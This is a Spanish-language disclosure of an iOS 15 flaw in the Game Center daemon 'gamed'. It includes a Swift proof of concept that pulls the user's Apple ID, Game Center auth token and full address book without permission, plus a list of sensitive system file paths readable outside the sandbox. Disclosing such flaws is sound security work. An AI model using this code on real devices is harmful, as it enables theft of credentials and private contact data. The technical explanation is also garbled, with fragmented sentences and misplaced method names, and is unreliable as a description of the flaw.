
Exploit de iOS gamed (corregido en 15.0.2)
Actualización: Apple ha corregido esto silenciosamente en iOS 15.0.2 sin ningún tipo de reconocimiento o crédito público.
Cualquier aplicación instalada desde App Store puede acceder a los siguientes datos sin que el usuario reciba ningún aviso:
Aquí hay una breve prueba de concepto.
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
let appleID = response.credential.accountName
let token = response.credential.authenticationToken
}
utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
let addressBookData = data
}
}
Cómo ocurre:
com.apple.gamed no comprueba correctamente el entitlement com.apple.developer.game-centergetServicesForPID:localPlayer:reply: devuelve varios objetos proxy XPC (GKAccountService, GKFriendService, GKUtilityService, etc.).com.apple.developer.game-center), invocar authenticatePlayerWithExistingCredentialsWithHandler: en GKAccountService devuelve un objeto que contiene el Apple ID del usuario, el DSID y el token de autenticación de Game Center (que permite enviar peticiones a https://gc.apple.com en nombre del usuario). Invocar getProfilesForPlayerIDs:handler: en GKProfileService devuelve un objeto que contiene el nombre y los apellidos del Apple ID del usuario. Invocar en devuelve un objeto con información sobre el amigo del usuario en Game Center.En la página del Programa de Recompensas de Seguridad de Apple esta vulnerabilidad está evaluada en $100,000 (Acceso amplio de la aplicación a datos sensibles normalmente protegidos por un aviso de TCC o el sandbox de la plataforma. El acceso a “datos sensibles” incluye obtener un acceso amplio (es decir, la base de datos completa) a los Contactos).
getFriendsForPlayer:handler:GKFriendServicecom.apple.developer.game-center, invocar requestImageDataForURL:subdirectory:fileName:handler: en GKUtilityService permite leer archivos arbitrarios fuera del sandbox de la aplicación pasando URLs de archivos a ese método. Entre los archivos (aunque no limitándose a ellos) a los que se puede acceder de esta manera se encuentran los siguientes:
/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - contiene la caché de MobileGestalt
/var/mobile/Library/CoreDuet/People/interactionC.db - contiene una lista de contactos de Mail, SMS, iMessage, aplicaciones de mensajería de terceros y metadatos sobre la interacción del usuario con estos contactos (incluyendo marcas de tiempo y estadísticas)
/var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - contiene los contactos favoritos y sus números de teléfono
/var/mobile/Library/AddressBook/AddressBook.sqlitedb - contiene la base de datos completa de la libreta de direcciones
/var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - contiene las fotos de los contactos de la libreta de direccionescacheImageData:inSubdirectory:withFileName:handler: en GKUtilityService podría permitir escribir datos arbitrarios en una ubicación fuera del sandbox de la aplicación.